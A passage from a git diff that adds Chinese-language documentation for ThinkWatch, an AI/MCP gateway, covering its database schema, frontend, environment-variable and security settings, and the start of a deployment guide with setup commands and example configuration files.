基于角色的访问控制 + +| 表 | 用途 | +|--------------------|------| +| `roles` | 命名角色。预置五个系统角色:`super_admin`、`admin`、`team_manager`、`developer`、`viewer`。| +| `permissions` | 细粒度权限,以(资源, 操作)对形式表示。| +| `role_permissions` | 将角色映射到其授权的权限。| +| `user_roles` | 为用户分配角色,可选范围(全局或团队范围)。| + +### 004_init_api_keys —— 虚拟 API 密钥 + +| 表 | 用途 | +|------------|------| +| `api_keys` | 颁发给用户或团队的虚拟 API 密钥(`tw-` 前缀)。每个密钥存储:哈希密钥、允许的模型、速率限制(RPM/TPM)、月度预算、过期时间和权限范围。| + +### 005_init_providers —— AI 提供商配置 + +| 表 | 用途 | +|---------------------|------| +| `providers` | 上游 AI 提供商配置:名称、类型(openai/anthropic/google/azure/bedrock/custom)、基础 URL、AES 加密的 API 密钥以及可选的 `config_json`(如 Azure 的 `api_version`)。| +| `models` | 注册在提供商下的 AI 模型,包含输入/输出 Token 定价,以及可选的最大输出 token(单个请求可要求的输出 token 上限)。| +| `model_permissions` | 模型的访问控制规则,可按角色、团队或个人用户授权。| + +### 006_init_mcp_servers —— MCP 服务器注册 + +| 表 | 用途 | +|------------------------|------| +| `mcp_servers` | 已注册的上游 MCP 服务器:端点 URL、传输类型、认证配置、健康状态和检查间隔。| +| `mcp_tools` | 从每个 MCP 服务器发现的工具,包含其 JSON Schema 输入定义。| +| `mcp_tool_permissions` | 单个 MCP 工具的访问控制规则,可按角色、团队或用户授权。| + +### 007_init_usage_audit —— 用量跟踪与审计 + +| 表 | 用途 | +|-----------------|------| +| `usage_records` | 每请求的用量数据:API 密钥、用户、团队、提供商、模型、Token 数量、USD 成本、延迟和 HTTP 状态。按时间和按用户/团队/密钥建立索引,用于仪表盘查询。| +| `audit_logs` | 安全审计跟踪:用户、API 密钥、操作、资源、详情 JSON、IP 地址和用户代理。| +| `budget_alerts` | 团队和 API 密钥的预算阈值通知记录。| + +### 008--012 —— 附加迁移 + +后续迁移文件新增: + +| 表 / 变更 | 用途 | +|-----------|------| +| `system_settings` | 动态配置的键值存储,包含分类、描述和类型元数据。由 `DynamicConfig` 系统查询,可通过管理设置 UI 编辑。| +| `api_keys.rotation_period_days` | 按密钥的自动轮换间隔。| +| `api_keys.inactivity_timeout_days` | 闲置 N 天后自动禁用密钥。| +| `api_keys.last_used_at` | 最近一次使用时间戳,用于闲置超时策略。| +| `api_keys.grace_period_expires_at` | 轮换期间允许旧密钥在宽限期到期前保持有效。| +| `users.deleted_at` | 用户账户的软删除列。| +| `providers.deleted_at` | Provider 记录的软删除列。| +| `api_keys.deleted_at` | API 密钥的软删除列。| +| 新索引 | 热查询路径的性能索引(按时间范围的使用记录、按用户的审计日志、按团队的 API 密钥)。| + +--- + +## 8. 前端架构 + +Web 控制台是一个位于 `web/` 目录下的单页应用。 + +### 技术栈 + +- **React 19** + TypeScript +- **shadcn/ui** 组件库(基于 Tailwind CSS) +- **简单的 pushState 路由**(无外部路由库) +- **Fetch API** 用于所有 HTTP 请求,JWT 存储在 `localStorage` 中 + +### 页面结构 + +UI 由约 20 个页面组成,分为六组: + +| 分组 | 页面 | 描述 | +|-------------|-----------------------------------|------| +| 设置向导 | `setup.tsx` | 首次运行设置向导(超级管理员创建、站点配置、可选 Provider 设置) | +| 认证 | `login.tsx` | 登录表单(本地 + OIDC SSO) | +| 仪表盘 | `dashboard.tsx` | 概览:用量图表、成本摘要、近期活动 | +| 网关 | `providers.tsx`、`models.tsx`、`api-keys.tsx`、`logs.tsx` | AI 提供商管理、模型注册、API 密钥 CRUD、请求日志 | +| MCP | `servers.tsx`、`tools.tsx`、`logs.tsx` | MCP 服务器注册、工具发现/权限、MCP 请求日志 | +| 分析 | `usage.tsx`、`costs.tsx`、`audit.tsx` | Token 用量仪表盘、成本明细、审计日志搜索 | +| 管理 | `users.tsx`、`roles.tsx`、`settings.tsx` | 用户管理、RBAC 角色配置、系统设置 | + +### API 客户端模式 + +所有页面通过共享的 fetch 封装与控制台服务器(`/api/*`)通信,该封装会: + +1. 从 `localStorage` 读取 JWT。 +2. 将其作为 `Authorization: Bearer ` 附加到请求中。 +3. 处理 401 响应,重定向到登录页面。 +4. 解析 JSON 响应并将错误展示到 UI 中。 + +Web UI 构建为静态 SPA,由开发服务器(Vite + `pnpm dev`)或生产环境中的 nginx 容器提供服务(参见 `deploy/docker/Dockerfile.web` 和 `deploy/docker/nginx.conf`)。 diff --git a/src/content/docs/zh-CN/configuration.md b/src/content/docs/zh-CN/configuration.md new file mode 100644 index 0000000..3cd4720 --- /dev/null +++ b/src/content/docs/zh-CN/configuration.md @@ -0,0 +1,569 @@ +# ThinkWatch 配置参考 + +本文档提供 ThinkWatch 所有配置选项的完整参考。配置通过环境变量(用于基础设施和密钥)和数据库存储的动态设置(可通过管理员 Web UI 配置)相结合进行管理。 + +--- + +## 环境变量 + +### 数据库 + +#### `DATABASE_URL` + +| 属性 | 值 | +| --------- | ---------------------------------------------------------- | +| 必填 | 是 | +| 默认值 | — | +| 示例 | `postgres://thinkwatch:password@localhost:5432/thinkwatch` | + +PostgreSQL 连接字符串。ThinkWatch 需要 PostgreSQL 15 或更高版本。 + +**安全说明:** +- 在生产环境中,使用 `sslmode=require` 强制加密连接:`postgres://user:pass@host:5432/db?sslmode=require` +- 避免在提交到版本控制的 URL 中嵌入密码。请使用密钥管理器。 +- 数据库用户需要创建表的权限(用于迁移),或者应单独应用迁移。 +- 直连数据库,或经由会话模式的连接池,不能使用事务模式:启动时建立数据库结构需要持有会话级 advisory lock。详见[外部 PostgreSQL 与 Redis](/zh-CN/docs/deployment-guide#46-外部-postgresql-与-redis)。 + +--- + +#### `REDIS_URL` + +| 属性 | 值 | +| --------- | ---------------------------------------- | +| 必填 | 是 | +| 默认值 | — | +| 示例 | `redis://localhost:6379` | + +Redis 连接字符串。用于速率限制、OIDC 状态/nonce 存储和会话管理。 + +**安全说明:** +- 在生产环境中,启用 Redis 认证:`redis://:yourpassword@host:6379` +- 对于启用了 TLS 的 Redis,使用 `rediss://` 协议:`rediss://:password@host:6380` +- Redis Cluster 使用 `redis-cluster://` 协议(TLS 为 `rediss-cluster://`)。证书由私有 CA 签发时,把 `REDIS_CA_CERT` 设为该 CA 的 PEM 文件路径。详见[外部 PostgreSQL 与 Redis](/zh-CN/docs/deployment-guide#46-外部-postgresql-与-redis)。 + +--- + +### 密码学 + +#### `JWT_SECRET` + +| 属性 | 值 | +| --------- | -------------------------------------------------- | +| 必填 | 是 | +| 默认值 | — | +| 示例 | `a3f8c1e0b9d74...`(64 字符十六进制字符串) | + +用于 HS256 JWT 签名和验证的共享密钥。必须至少 32 个字符长,建议至少为 256 位(32 字节 / 64 个十六进制字符)以确保足够的安全性。启动时,ThinkWatch 会对此值执行熵检查,如果不满足最低长度要求将拒绝启动。 + +**安全说明:** +- 使用以下命令生成:`openssl rand -hex 32` +- **最少需要 32 个字符。** 更短的值将导致启动失败。 +- 更改此值会使所有活跃的访问令牌和刷新令牌失效,迫使所有用户重新认证。 +- 切勿在不同环境(开发/预发布/生产)之间重用此值。 +- 存储在密钥管理器中,而非明文文件。 + +--- + +#### `ENCRYPTION_KEY` + +| 属性 | 值 | +| --------- | -------------------------------------------------- | +| 必填 | 是 | +| 默认值 | — | +| 示例 | `b7e4d219f0c83...`(64 字符十六进制字符串) | + +256 位密钥(32 字节,编码为 64 个十六进制字符),用于敏感数据的 AES-256-GCM 静态加密(提供商 API 密钥、MCP 服务器认证密钥)。 + +**安全说明:** +- 使用以下命令生成:`openssl rand -hex 32` +- 更改此值会使所有先前加密的数据(提供商 API 密钥、MCP 认证密钥)不可读。轮换后必须重新输入这些值。 +- 这是系统中最关键的密钥。此密钥泄露将暴露所有存储的提供商凭证。 +- 在生产环境中存储在硬件安全模块(HSM)或密钥管理器中。 + +--- + +### 服务器 + +#### `SERVER_HOST` + +| 属性 | 值 | +| --------- | --------------- | +| 必填 | 否 | +| 默认值 | `0.0.0.0` | +| 示例 | `127.0.0.1` | + +服务器绑定的 IP 地址。使用 `0.0.0.0` 监听所有接口,或使用 `127.0.0.1` 仅限本地访问。 + +--- + +#### `GATEWAY_PORT` + +| 属性 | 值 | +| --------- | ------ | +| 必填 | 否 | +| 默认值 | `3000` | +| 示例 | `8080` | + +网关服务器的 TCP 端口(OpenAI 兼容 API 和 MCP 传输)。 + +--- + +#### `CONSOLE_PORT` + +| 属性 | 值 | +| --------- | ------ | +| 必填 | 否 | +| 默认值 | `3001` | +| 示例 | `8081` | + +控制台服务器的 TCP 端口(管理 API 和管理员端点)。 + +--- + +#### `CORS_ORIGINS` + +| 属性 | 值 | +| --------- | ---------------------------------------- | +| 必填 | 否 | +| 默认值 | `http://localhost:5173` | +| 示例 | `https://console.example.com,https://admin.example.com` | + +逗号分隔的允许 CORS 来源列表。每个来源必须包含协议(`http://` 或 `https://`),且不能包含尾部斜杠。 + +**安全说明:** +- 在生产环境中,仅限制为托管控制台前端的域名。 +- 不要使用 `*`,这会完全禁用 CORS 保护。 + +--- + +### 可观测性 + +#### `CLICKHOUSE_URL` + +| 属性 | 值 | +| --------- | ------------------------------ | +| 必填 | 否 | +| 默认值 | — | +| 示例 | `http://clickhouse:8123` | + +ClickHouse HTTP 接口的基础 URL,用于审计日志存储和搜索。如果未设置,审计日志写入 ClickHouse 将不可用(条目仍会记录到标准输出并转发至已配置的日志转发器)。 + +--- + +#### `CLICKHOUSE_DB` + +| 属性 | 值 | +| --------- | --------------------------- | +| 必填 | 否 | +| 默认值 | `think_watch` | +| 示例 | `think_watch_prod` | + +存储审计日志表的 ClickHouse 数据库名称。ThinkWatch 会在启动时自动创建数据库和表(如果不存在)。 + +--- + +#### `CLICKHOUSE_USER` + +| 属性 | 值 | +| --------- | --------------------------- | +| 必填 | 否 | +| 默认值 | `default` | +| 示例 | `thinkwatch` | + +ClickHouse 认证用户。 + +--- + +#### `CLICKHOUSE_PASSWORD` + +| 属性 | 值 | +| --------- | --------------------------- | +| 必填 | 否 | +| 默认值 | — | +| 示例 | `your-clickhouse-password` | + +ClickHouse 认证密码。 + +**安全说明:** +- 在生产环境中,务必为 ClickHouse 设置强密码。 +- 存储在密钥管理器中,而非明文文件。 + +--- + +#### `RUST_LOG` + +| 属性 | 值 | +| --------- | -------------------------------------------------------- | +| 必填 | 否 | +| 默认值 | `info` | +| 示例 | `thinkwatch=debug,tower_http=debug,sqlx=warn` | + +使用 [`tracing-subscriber` `EnvFilter` 语法](https://docs.rs/tracing-subscriber/latest/tracing_subscriber/filter/struct.EnvFilter.html) 控制日志详细程度。接受逗号分隔的 `target=level` 形式的指令。 + +常用配置: + +| 用例 | 值 | +| --------------------- | -------------------------------------------------- | +| 生产环境 | `info` 或 `thinkwatch=info,tower_http=warn` | +| 调试 HTTP | `thinkwatch=debug,tower_http=debug` | +| 调试 SQL | `thinkwatch=debug,sqlx=debug` | +| 最少输出 | `warn` | + +--- + +### OIDC / SSO + +要启用 SSO,必须同时设置所有四个 OIDC 变量。如果缺少任何一个,OIDC 将被禁用,`GET /api/auth/sso/authorize` 将返回 500。 + +#### `OIDC_ISSUER_URL` + +| 属性 | 值 | +| --------- | ---------------------------------------------------------------- | +| 必填 | 否(如需 SSO 则必填) | +| 默认值 | — | +| 示例 | `https://login.microsoftonline.com/tenant-id/v2.0` | + +OIDC 发行者 URL。ThinkWatch 在启动时从此 URL 获取 `.well-known/openid-configuration` 文档以发现端点。 + +--- + +#### `OIDC_CLIENT_ID` + +| 属性 | 值 | +| --------- | ---------------------------- | +| 必填 | 否(如需 SSO 则必填) | +| 默认值 | — | +| 示例 | `abcdef12-3456-7890-abcd-ef1234567890` | + +在 OIDC 身份提供商注册的客户端 ID。 + +--- + +#### `OIDC_CLIENT_SECRET` + +| 属性 | 值 | +| --------- | ---------------------------------- | +| 必填 | 否(如需 SSO 则必填) | +| 默认值 | — | +| 示例 | `your-client-secret-value` | + +OIDC 应用的客户端密钥。 + +**安全说明:** +- 这是敏感凭证。请存储在密钥管理器中。 +- 根据身份提供商的建议定期轮换。 + +--- + +#### `OIDC_REDIRECT_URL` + +| 属性 | 值 | +| --------- | -------------------------------------------------------------- | +| 必填 | 否(如需 SSO 则必填) | +| 默认值 | — | +| 示例 | `https://console.example.com/api/auth/sso/callback` | + +OIDC 提供商在认证后重定向到的完整 URL。此 URL 必须与在身份提供商配置中注册的重定向 URI 完全匹配,并且必须可被用户浏览器访问。 + +--- + +## 提供商配置 + +提供商通过管理员 Web UI(管理 > 提供商)或 `POST /api/admin/providers` API 进行配置。每种提供商类型有特定的配置要求: + +### OpenAI + +| 字段 | 值 | +| --------------- | ---------------------------------- | +| `provider_type` | `openai` | +| `base_url` | `https://api.openai.com` | +| `api_key` | `sk-...`(OpenAI API 密钥) | + +前缀为 `gpt-`、`o1-`、`o3-`、`o4-` 的模型会自动路由到此提供商。 + +### Anthropic + +| 字段 | 值 | +| --------------- | ---------------------------------- | +| `provider_type` | `anthropic` | +| `base_url` | `https://api.anthropic.com` | +| `api_key` | `sk-ant-...`(Anthropic API 密钥) | + +前缀为 `claude-` 的模型会自动路由到此提供商。 + +### Google Gemini + +| 字段 | 值 | +| --------------- | ---------------------------------------------- | +| `provider_type` | `google` | +| `base_url` | `https://generativelanguage.googleapis.com` | +| `api_key` | Google AI API 密钥 | + +前缀为 `gemini-` 的模型会自动路由到此提供商。 + +### Azure OpenAI + +| 字段 | 值 | +| --------------- | ---------------------------------------------- | +| `provider_type` | `azure` | +| `base_url` | `https://{resource}.openai.azure.com` | +| `api_key` | Azure API 密钥 | +| `config_json` | `{"api_version": "2024-12-01-preview"}` | + +Azure OpenAI 使用 `api-key` 请求头(非 Bearer 令牌)进行认证。`api_version` 作为查询参数传递。Azure 不支持自动模型路由——必须通过管理 > 模型页面显式注册模型。 + +### AWS Bedrock + +| 字段 | 值 | +| --------------- | ---------------------------------------------- | +| `provider_type` | `bedrock` | +| `base_url` | AWS 区域(如 `us-east-1`) | +| `api_key` | `ACCESS_KEY_ID:SECRET_ACCESS_KEY` | + +AWS Bedrock 通过官方 `aws-sigv4` Rust crate 使用 SigV4 请求签名。`base_url` 字段指定 AWS 区域,`api_key` 字段包含格式为 `ACCESS_KEY_ID:SECRET_ACCESS_KEY` 的 IAM 凭证。流式传输使用原生 Bedrock 二进制 event-stream 协议(Converse API)。与 Azure 类似,Bedrock 不支持自动模型路由——必须通过管理 > 模型页面显式注册模型。 + +### 自定义(OpenAI 兼容) + +| 字段 | 值 | +| --------------- | ---------------------------------------------- | +| `provider_type` | `custom` | +| `base_url` | 任何 OpenAI 兼容端点 URL | +| `api_key` | 端点的 Bearer 令牌 | + +用于自托管模型(vLLM、Ollama、LiteLLM 等)或任何实现了 OpenAI API 格式的第三方服务。 + +### 提供商自动加载 + +启动时,ThinkWatch 从数据库加载所有活跃提供商并注册到模型路由器。模型路由基于: + +1. **前缀匹配**(OpenAI、Anthropic、Google):匹配提供商默认前缀的模型会自动路由。 +2. **显式注册**(Azure、Bedrock、自定义):模型必须通过管理 > 模型页面注册,并指定提供商分配。 + +--- + +## 配置模式 + +### 开发环境与生产环境对比 + +| 设置 | 开发环境 | 生产环境 | +| ----------------- | -------------------------------------------- | ------------------------------------------- | +| `DATABASE_URL` | 本地 PostgreSQL,不使用 SSL | 托管 PostgreSQL,使用 `sslmode=require` | +| `REDIS_URL` | 本地 Redis,无认证 | Redis,使用 `requirepass` 或托管 Redis | +| `JWT_SECRET` | 任意稳定值,方便开发 | 密码学随机 256 位密钥 | +| `ENCRYPTION_KEY` | 任意稳定的 32 字节十六进制值,方便开发 | 密码学随机,存储在 HSM 中 | +| `CORS_ORIGINS` | `http://localhost:5173` | `https://console.yourdomain.com` | +| `RUST_LOG` | `thinkwatch=debug,tower_http=debug` | `info` 或 `thinkwatch=info` | +| OIDC 变量 | _(除非测试 SSO 否则未设置)_ | 完整配置 | + +### 环境文件 + +ThinkWatch 在项目根目录使用单一 `.env` 文件: + +- **开发环境**:`cargo run` 通过 `dotenvy` 自动加载,`docker compose` 通过 Makefile 中的 `--env-file .env` 加载 +- **生产环境**:使用项目根目录的 `.env.production`,通过 `make deploy` 加载 + +`deploy/` 目录下没有单独的 `.env` 文件。复制 `.env.example` 开始: + +```bash +cp .env.example .env +# 编辑 .env 填入实际值,或运行: +# deploy/generate-secrets.sh +``` + +### 使用 .env 文件 + +本地开发时,在项目根目录创建 `.env` 文件: + +```bash +# .env (DO NOT commit this file) +DATABASE_URL=postgres://thinkwatch:devpass@localhost:5432/thinkwatch +REDIS_URL=redis://localhost:6379 +JWT_SECRET=dev-only-jwt-secret-do-not-use-in-production-000000 +ENCRYPTION_KEY=0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef +CORS_ORIGINS=http://localhost:5173 +RUST_LOG=thinkwatch=debug,tower_http=debug +``` + +ThinkWatch 通过 `dotenvy` crate 自动加载 `.env` 文件。`.env` 文件应列在 `.gitignore` 中。 + +### Docker / Docker Compose + +通过 `docker-compose.yml` 传递环境变量: + +```yaml +services: + thinkwatch: + image: thinkwatch:latest + environment: + DATABASE_URL: postgres://thinkwatch:${DB_PASSWORD}@postgres:5432/thinkwatch + REDIS_URL: redis://redis:6379 + JWT_SECRET: ${JWT_SECRET} + ENCRYPTION_KEY: ${ENCRYPTION_KEY} + CORS_ORIGINS: https://console.example.com + CLICKHOUSE_URL: http://clickhouse:8123 + RUST_LOG: info + ports: + - "3000:3000" + - "3001:3001" +``` + +使用 `.env` 文件或 shell 导出来提供 `${DB_PASSWORD}`、`${JWT_SECRET}` 和 `${ENCRYPTION_KEY}`,避免在 compose 文件中硬编码。 + +### Kubernetes Secrets + +为敏感值创建 Kubernetes Secret: + +```bash +kubectl create secret generic thinkwatch-secrets \ + --from-literal=JWT_SECRET="$(openssl rand -hex 32)" \ + --from-literal=ENCRYPTION_KEY="$(openssl rand -hex 32)" \ + --from-literal=DATABASE_URL="postgres://user:pass@pg-host:5432/thinkwatch?sslmode=require" \ + --from-literal=REDIS_URL="rediss://:password@redis-host:6380" \ + --from-literal=OIDC_CLIENT_SECRET="your-oidc-secret" +``` + +在 Deployment 中引用该 Secret: + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: thinkwatch +spec: + template: + spec: + containers: + - name: thinkwatch + image: thinkwatch:latest + envFrom: + - secretRef: + name: thinkwatch-secrets + env: + - name: CORS_ORIGINS + value: "https://console.example.com" + - name: GATEWAY_PORT + value: "3000" + - name: CONSOLE_PORT + value: "3001" + - name: CLICKHOUSE_URL + value: "http://clickhouse:8123" + - name: RUST_LOG + value: "info" +``` + +### 生成安全随机密钥 + +使用 `openssl` 生成密码学安全的随机值: + +```bash +# Generate a 256-bit key (for JWT_SECRET or ENCRYPTION_KEY) +openssl rand -hex 32 + +# Generate a 128-bit key (for less critical uses) +openssl rand -hex 16 + +# Generate a base64-encoded key (alternative format) +openssl rand -base64 32 +``` + +`JWT_SECRET` 和 `ENCRYPTION_KEY` 都期望 64 字符的十六进制字符串(代表 32 字节 / 256 位)。 + +--- + +## 动态配置(Web UI) + +许多之前需要通过环境变量配置的设置现在存储在数据库中,可通过管理员 Web UI 在运行时配置。这些设置也可通过 `GET/PATCH /api/admin/settings` API 端点管理。 + +动态设置的更改立即生效,无需重启服务器。 + +### 认证与 JWT + +| 设置 | 默认值 | 描述 | +| ---------------------------- | -------- | -------------------------------------------- | +| `jwt_access_ttl_seconds` | `900` | 访问令牌有效期(秒,默认 15 分钟) | +| `jwt_refresh_ttl_seconds` | `604800` | 刷新令牌有效期(秒,默认 7 天) | + +### 缓存 + +| 设置 | 默认值 | 描述 | +| -------------------- | ------- | -------------------------------- | +| `cache_ttl_seconds` | `300` | 各种缓存的默认 TTL | + +### 安全 + +| 设置 | 默认值 | 描述 | +| ---------------------------- | ------- | -------------------------------------------- | +| `signature_drift_seconds` | `300` | 签名请求允许的最大时钟偏差 | +| `nonce_ttl_seconds` | `300` | 用于重放保护的 nonce 值 TTL | +| `security.redact` | `{}` | 出站脱敏的策略,见[请求防护](#请求防护) | +| `security.inspect_tools` | `{}` | 工具调用审查的策略,见[请求防护](#请求防护) | +| `security.content` | `{}` | 内容过滤的策略,见[请求防护](#请求防护) | +| `security.rate_limit_fail_closed` | `false` | 限额无法检查时拒绝请求,见[无法检查限额时](#无法检查限额时) | + +#### 请求防护 + +出站脱敏、工具调用审查和内容过滤各以一个 JSON 对象保存完整的策略,分别位于 `security.redact`、`security.inspect_tools` 和 `security.content`。对象的结构与 ThinkWatch Core 的 `config.yaml` 中 `security` 一节相同,各字段与全部内置规则见 [Core 配置手册](/zh-CN/docs/core/configuration#cfg-security);`{}` 即出厂设置。 + +- `mode` 为 `off`、`observe` 或 `enforce`。出厂为 `observe`:命中的内容记入审计日志,不做任何改动;`enforce` 在控制台中按作用命名,出站脱敏为「替换」,工具调用审查为「切断」,内容过滤为「处置」。 +- `enable` 和 `disable` 按 id 启用或停用内置规则,`actions` 改变内置规则在 `enforce` 下的处置,`custom` 保存部署自己的规则。 + +```json +{ + "mode": "enforce", + "enable": ["email"], + "custom": [{ "name": "员工编号", "pattern": "EMP-\\d{6}", "label": "EMPLOYEE" }] +} +``` + +控制台的「内容安全」页编辑这些对象。经 `PATCH /api/admin/settings` 写入时,一个键整体写入,写入前先校验:字段名拼错、内置规则 id 不存在、正则无法编译或码位写法有误时返回 `400`。写入 `security.redact` 需要 `pii_redactor:write` 权限,另外两个键需要 `content_filter:write`。`GET /api/admin/security` 列出每项防护的档位与全部规则,`POST /api/admin/security/{guard}/test` 用一段样本测试这些规则。从仍使用 `security.content_filter_patterns`、`security.pii_redactor_patterns`、`security.hidden_text` 和 `security.tool_inspection` 的版本升级时,这些设置在首次启动时转换为上述三个键。 + +#### 无法检查限额时 + +请求的限额无法检查时,即 Redis 无法访问,或加载请求的限流与预算时数据库出错,由 `security.rate_limit_fail_closed` 决定如何处理。这一设置覆盖用户、API 密钥与角色的限流和预算,以及路由的 RPM 与 TPM 上限,对 AI 网关和 MCP 网关都有效。 + +- `false`(默认):请求照常进行,不受无法检查的限额约束;错误作为警告写入日志,并计入 `*_fail_open_total` 指标。 +- `true`:拒绝请求,标签为 `limits_unavailable`、`budget_unavailable` 或 `rate_limiter_unavailable`。AI 网关按客户端的 API 格式返回 `429` 和 `Retry-After: 30`;MCP 网关返回 `429` 和 JSON-RPC 错误。 + +漏算限额比拒绝请求更糟时,应打开这一设置。无论如何设置,限额无法读取时 `GET /v1/usage` 都返回 `503`。在控制台中,这一设置是「设置 › 安全 › 限速引擎」中的「限额无法检查时拒绝请求」。 + +### 预算 + +| 设置 | 默认值 | 描述 | +| ---------------------------- | ------- | -------------------------------------------- | +| `budget_warning_threshold` | `0.8` | 触发警告的预算使用率 | +| `budget_critical_threshold` | `0.95` | 触发严重告警的预算使用率 | + +### API 密钥策略 + +| 设置 | 默认值 | 描述 | +| ------------------------------ | ----------- | -------------------------------------- | +| `api_key_max_expiry_days` | `365` | 新 API 密钥允许的最大过期天数 | +| `api_key_default_rate_limit_rpm` | `60` | 新 API 密钥的默认 RPM 限制 | + +### 通用 + +| 设置 | 默认值 | 描述 | +| ---------------------- | ---------------- | ---------------------------------------- | +| `data_retention_days` | `30` | 软删除记录在清除前保留的天数 | +| `site_name` | `ThinkWatch` | Web UI 中显示的站点名称 | + +--- + +## 启动验证 + +ThinkWatch 在启动时验证所有配置和依赖,如果出现以下情况将拒绝启动: + +- `DATABASE_URL` 缺失或数据库不可达 +- `REDIS_URL` 缺失或 Redis 不可达 +- `JWT_SECRET` 缺失或少于 32 个字符 +- `JWT_SECRET` 未通过熵检查(例如全部相同字符) +- `ENCRYPTION_KEY` 缺失或不是有效的 64 字符十六进制字符串 +- `OIDC_*` 变量部分配置(必须全部设置或全部不设置) + +此外,服务器在启动时执行依赖健康检查: + +- **PostgreSQL:** 验证连接并运行测试查询 +- **Redis:** 通过 PING 命令验证连接 +- **ClickHouse:** 如已配置,验证连接和表是否存在(非阻塞 -- 不可用时记录警告) + +如果服务器启动失败,请检查应用日志。缺失或无效的配置将以清晰的错误消息报告。 diff --git a/src/content/docs/zh-CN/deployment-guide.md b/src/content/docs/zh-CN/deployment-guide.md new file mode 100644 index 0000000..66a7188 --- /dev/null +++ b/src/content/docs/zh-CN/deployment-guide.md @@ -0,0 +1,780 @@ +# ThinkWatch 部署指南 + +## 1. 前提条件 + +### 硬件要求 + +| 资源 | 最低要求 | 推荐配置 | +|--------|------------------|----------------------| +| CPU | 2 核 | 4+ 核 | +| RAM | 4 GB | 8+ GB | +| 磁盘 | 20 GB SSD | 50+ GB SSD | +| 网络 | 100 Mbps | 1 Gbps | + +服务器进程本身非常轻量(Rust 二进制文件,典型 RSS 约 50 MB)。大部分资源消耗来自 PostgreSQL、Redis 和 ClickHouse。 + +### 软件要求 + +**开发环境:** + +| 软件 | 版本 | 用途 | +|------------|---------|----------------------------------| +| Rust | Edition 2024(见 `rust-toolchain.toml`) | 构建服务器 | +| Node.js | 20+ | 构建 Web UI | +| pnpm | 12(见 `web/package.json`) | Web UI 包管理器 | +| Docker | 24+ | 运行基础设施服务 | +| Docker Compose | v2+ | 编排开发服务 | + +**生产环境(仅 Docker):** + +| 软件 | 版本 | +|-----------------|---------| +| Docker | 24+ | +| Docker Compose | v2+ | + +--- + +## 2. 开发环境搭建 + +### 2.1 克隆并安装依赖 + +```bash +git clone ThinkWatch +cd ThinkWatch + +# Install Rust toolchain (reads from rust-toolchain.toml) +rustup show + +# Install web UI dependencies +cd web && pnpm install && cd .. +``` + +### 2.2 启动基础设施服务 + +```bash +make infra +``` + +这将启动: +- **PostgreSQL**,端口 5432(用户:`postgres`,密码:`postgres`,数据库:`think_watch`) +- **Redis**,端口 6379 +- **ClickHouse**(审计日志存储),端口 8123 (HTTP) / 9000(原生 TCP) +- **Zitadel**(OIDC SSO),端口 8080 + +等待所有服务变为健康状态: + +```bash +docker compose -f deploy/docker-compose.dev.yml ps +``` + +### 2.3 启动服务器 + +```bash +# From the project root +cargo run +``` + +服务器从环境变量读取配置(带有合理的开发默认值)。它将: +1. 连接到 PostgreSQL 并自动运行迁移。 +2. 连接到 Redis。 +3. 在 `http://localhost:3000` 启动网关。 +4. 在 `http://localhost:3001` 启动控制台。 + +### 2.4 启动 Web UI(开发模式) + +```bash +cd web +pnpm dev +``` + +Vite 开发服务器在 `http://localhost:5173` 启动,并将 API 请求代理到 `localhost:3001` 的控制台服务器。 + +### 2.5 创建首个管理员用户(设置向导) + +在全新数据库上,ThinkWatch 提供了可通过 Web UI 或 API 访问的设置向导。设置向导可在一步中创建首个管理员用户并可选配置首个 AI 提供商。 + +**通过 Web UI:** + +在浏览器中打开 `http://localhost:5173`。如果系统尚未初始化,UI 将自动显示设置向导。 + +**通过 API:** + +检查是否需要设置: + +```bash +curl http://localhost:3001/api/setup/status +# 返回:{"initialized": false, "needs_setup": true} +``` + +初始化系统: + +```bash +curl -X POST http://localhost:3001/api/setup/initialize \ + -H "Content-Type: application/json" \ + -d '{ + "admin": { + "email": "admin@example.com", + "display_name": "Admin", + "password": "your-secure-password" + }, + "provider": { + "name": "openai-prod", + "display_name": "OpenAI", + "provider_type": "openai", + "base_url": "https://api.openai.com/v1", + "api_key": "sk-..." + } + }' +``` + +`provider` 字段是可选的。您可以稍后通过管理员 UI 添加提供商。 + +> **注意:** 设置端点有速率限制(每分钟 5 次请求),并在首个管理员用户创建后禁用。详情请参阅安全文档。 + +**传统方法(手动):** + +或者,通过 `POST /api/auth/register` 注册,然后直接在 PostgreSQL 中分配 `super_admin` 角色: + +```sql +INSERT INTO user_roles (user_id, role_id, scope) +SELECT u.id, r.id, 'global' +FROM users u, roles r +WHERE u.email = 'admin@example.com' AND r.name = 'super_admin'; +``` + +后续用户可以由超级管理员通过 Web UI 提升为管理员角色。 + +### 2.6 配置 Zitadel SSO(开发环境) + +开发 compose 文件会在 `http://localhost:8080` 启动一个 Zitadel 实例。 + +1. 使用用户名 `admin` 和密码 `Admin1234!` 登录 Zitadel(`http://localhost:8080`)。 +2. 创建一个新项目和一个类型为 "Web" 的 OIDC 应用,配置如下: + - 重定向 URI:`http://localhost:3001/api/auth/oidc/callback` + - 注销后重定向:`http://localhost:5173` +3. 复制客户端 ID 和客户端密钥。 +4. 在启动服务器前设置环境变量: + +```bash +export OIDC_ISSUER_URL=http://localhost:8080 +export OIDC_CLIENT_ID= +export OIDC_CLIENT_SECRET= +export OIDC_REDIRECT_URL=http://localhost:3001/api/auth/oidc/callback +``` + +或者将它们添加到项目根目录的 `.env` 文件中(由 `dotenvy` 自动加载)。 + +--- + +## 3. Docker Compose 生产部署 + +### 3.1 创建生产环境文件 + +创建一个 `.env.production` 文件,填入真实密钥。**切勿将此文件提交到版本控制系统。** + +```bash +# Database +DB_USER=thinkwatch +DB_PASSWORD= +DB_NAME=think_watch + +# Authentication +JWT_SECRET= +ENCRYPTION_KEY= + +# Ports +GATEWAY_PORT=3000 +WEB_PORT=80 + +# CORS — set to your actual console domain +CORS_ORIGINS=https://console.yourdomain.com + +# ClickHouse +CLICKHOUSE_USER=default +CLICKHOUSE_PASSWORD= + +# Redis +REDIS_PASSWORD= + +# OIDC SSO (optional) +OIDC_ISSUER_URL=https://auth.yourdomain.com +OIDC_CLIENT_ID= +OIDC_CLIENT_SECRET= +OIDC_REDIRECT_URL=https://console.yourdomain.com/api/auth/oidc/callback + +# Logging +RUST_LOG=info,think_watch=info +``` + +### 3.2 生成安全密钥 + +```bash +# JWT_SECRET (64 hex characters = 256 bits) +openssl rand -hex 32 + +# ENCRYPTION_KEY (64 hex characters = 256 bits, used for AES-256-GCM) +openssl rand -hex 32 + +# Database and Redis passwords +openssl rand -base64 24 +``` + +### 3.3 部署 + +从 